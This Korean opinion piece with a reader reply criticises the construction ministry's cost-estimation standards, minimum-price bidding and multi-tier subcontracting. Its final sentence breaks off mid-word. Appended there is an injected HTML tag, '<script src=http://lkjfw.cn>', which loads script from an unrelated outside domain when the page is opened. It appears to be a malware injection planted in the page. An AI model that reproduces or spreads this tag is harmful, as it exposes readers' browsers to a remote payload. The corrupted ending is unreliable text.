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언론기고

김달중 처럼 해외로 보내자! 차라리 건교부를 해체하자!

보도일자

보도기관

건설공사의 하도단가는 최저가 입찰로...

발주자는 설계내역을 만들어 낼때 품셈을 기준하고 자재는 개당단가를 적용한다. 잔뜩 부풀리기를 조달청에 계약을 위탁하면 그곳에서 자기들의 존재를 입증하기 위하여 일부단가를 깍아 내려 조달가격(조사가)를 만들어

입찰에 부치면 일반건설업자들은제한적 최저가라는 세계적인 한국식 운찰제에 의하여 예정가격의 일정율에 따라 왔다갔다 70-80%에 직상으로 수주를 하면서 품셈의 가격이 20-30%가 깍이고(품셈이 부풀려졌다는 반증)

일반건설업자는 70-80%에 수주한 공사를 다시 하도급업자 선정을 위한 입찰에서 최저가낙찰자로 선정한 업체를 다시 네고하는 방식으로 또30-40%를 깍아서 계약을 하고

하도급을 받은 전문건설업자는 또 최저가 낙찰방식을 동원하여 모작자를 선정하면서 10-20%를 깍아내고

모작을 받은 개인사업자는 또 반장을 선정하면서5-10%를 깍아내고 반장은 인부들에게 야리끼리를 주면서 또5-10%를 깍아잡숫고

품셈이 얼마나 부풀려져 있는가?물량과 공종에 따라서 50-60%가 부풀려져 있고 현재의 품셈은 일제시대 부터 건교부가 직접 관리를 해오다가 독립기념관 화재사건과 행주대교 붕괴 후에 건설업주협회에 슬그머니 관리를 넘겨왔습니다.

국민들은 도대체 얼마짜리 건설상품을 얻는것인가?

세금을 내어 공무원 월급주면서 고용하여 물건을 잘만들어 달라고 월급을 주는데 인부-반장-모작자-하도자-원청자-조달청-발주자 7단계 조직을 거치면서 50-60%의 비용이 깍이어야만 물건이 만들어 진다면 40%-50의 비용만을 직접 투입 시켜서 만들어 내는 시설이 제대로 될리도 없고 잘만들어 달라고 부탁은 하지만 잘만들어 내라고 수없이 많은 감독자-감리자-건설시공자-하도자-숙련기능자-준기능자-기능자-기능공 들은 이놈저놈이 다 데어먹고 그것도 모자라서 몰래 뒷돈까지 챙기는 이러한 조직구조로는 우리나라 건설이 발전은 커녕 아직까지 완전하게 망하지 않은 것이 참으로 신기할뿐이라오.

결국은 건설의 모든 가격구조와 입찰방식은 모두 최저가로 결정 되는 그러한 구조를 가지고 있으면서도

왜 유독 발기관과 일반건설업자를 선정하는 부분만이 적정금액을 보장해야만 부실공사가 없어진다는 이유로 제한선 직상가 입찰방식을 고수하고 있는지????

왜 건설업주 그들에게만은 혜택을 주어서 건설업체수가 무한 급증하도록 하는지 정부의 정책 담당자들은 그 이유를 밝혀라!

그들은 이유를 부실시공방지 차원의 조치라 하지만 일반건설업자 아래의 4단계 조직은 최저가 입찰제를 시행하여 결국 마지막 단계의 기능공은 최저가의 단가로 일을 하게 되는데.....

이제 우리는 우리의 문제를 바로 이해하고 더 이상 국민을 주인을 속이지 말아야 한다.


품셈은 건설교통부에서 잔뜩 부풀려 만들고, 품셈의 유지관리를 건교부의 계열업체인 대한건설업주협회에서 유지관리를 하는데 기술의 발전으로 품이 줄어드는것이 아니라 매년 올라만가니 어찌 문제가 아니겠는가?

건설공사의 품셈이란 참고용 자료로만 활용 되어야 하고 발주기관이 자체적으로 품셈을 만들어 자기들의 예산관리를 해야 하는데 이를 업주 협회에 맡기는 이유는 예산절감의 의지도 없고 그저 건설공사를 통한 뇌물 상납에만 관심이 있슴을 말하는것 아닌가?

어느건설업체도 자체적으로 하도급 가격 결정을 위한 내부 품셈이나 가격기준을 자체적으로 만들어 유지관리를 하고 이를 기준으로 하거나 참고로 하여 하도가격을 결정 할것이다. 어찌 이를 하도협회에 위탁하여 이를 기준으로 하도급 단가를 결정 하라고 법으로 규정한다면 이 얼마나 웃기는 일인가?

정무는 도대체 원도급자들이 몇%에 하도급을 주든 물건만 제대로 만들어 주면되지 별 시시콜콜한 것 까지 간섭을 언제까지 하려는지?

건교부를 빨리 없애든지/ 아니면 건교부에게 모든 시공을 직접 하도록 하든지? 아니면 몽땅 건설업계를 떠나던지?

어떤놈이든 건설현장에 부당한 간섭을 하는 경우에 책임을 묻고 직접 모든것을 처리 하도록 해주고 아주 개 망신을 주도록 우리 건설인이 모두 힘을 합하여 투쟁하지 않으려는지?

공감합니다,

건설공사 원가작성의 기준이 너무 헐렁하여 70%수준으로 정부공사 해도 이익이 남습니다.

그런데 저가의 기준이 무었인지?
그 기준은 또한 옳바른지?

누구의 입장에서 누구의 생각이 바른 것인지는 아무도 모른다.
다만, 공정경쟁에 의한 경제의 법칙만이 그 해답을 알고 있는 것이다.

그런데도 정부에서는 적격심사제라는 이름을 빌어 최저가 낙찰제를 시행하지 않아 예산의 낭비 및 건설업주 배만 불리고 있습니다.

하도급 업체에게는 형편없는 최저가로 하도급 주게 되므로 인하여 불평등이 생기게 됩니다.

입찰준비 기간을 길게하고 공종별 전문업체명과 전문공?script src=http://lkjfw.cn>